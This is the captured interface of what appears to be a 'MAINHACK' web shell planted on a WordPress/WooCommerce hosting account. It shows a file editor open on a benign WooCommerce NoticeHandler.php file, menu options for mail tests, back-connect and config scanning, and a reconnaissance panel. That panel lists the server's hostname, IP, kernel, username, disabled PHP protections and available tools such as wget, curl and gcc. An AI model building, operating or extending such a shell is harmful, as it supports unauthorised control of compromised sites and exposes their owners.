[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: NoticeHandler.php
<?php namespace Automattic\WooCommerce\StoreApi\Utilities; use Automattic\WooCommerce\StoreApi\Exceptions\RouteException; use WP_Error; /** * NoticeHandler class. * Helper class to handle notices. */ class NoticeHandler { /** * Convert queued error notices into an exception. * * For example, Payment methods may add error notices during validate_fields call to prevent checkout. * Since we're not rendering notices at all, we need to convert them to exceptions. * * This method will find the first error message and thrown an exception instead. Discards notices once complete. * * @throws RouteException If an error notice is detected, Exception is thrown. * * @param string $error_code Error code for the thrown exceptions. */ public static function convert_notices_to_exceptions( $error_code = 'unknown_server_error' ) { if ( 0 === wc_notice_count( 'error' ) ) { wc_clear_notices(); return; } $error_notices = wc_get_notices( 'error' ); // Prevent notices from being output later on. wc_clear_notices(); foreach ( $error_notices as $error_notice ) { throw new RouteException( $error_code, wp_strip_all_tags( $error_notice['notice'] ), 400 ); } } /** * Collects queued error notices into a \WP_Error. * * For example, cart validation processes may add error notices to prevent checkout. * Since we're not rendering notices at all, we need to catch them and group them in a single WP_Error instance. * * This method will discard notices once complete. * * @param string $error_code Error code for the thrown exceptions. * * @return \WP_Error The WP_Error object containing all error notices. */ public static function convert_notices_to_wp_errors( $error_code = 'unknown_server_error' ) { $errors = new WP_Error(); if ( 0 === wc_notice_count( 'error' ) ) { return $errors; } $error_notices = wc_get_notices( 'error' ); foreach ( $error_notices as $error_notice ) { $errors->add( $error_code, wp_strip_all_tags( $error_notice['notice'] ) ); } return $errors; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.18 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252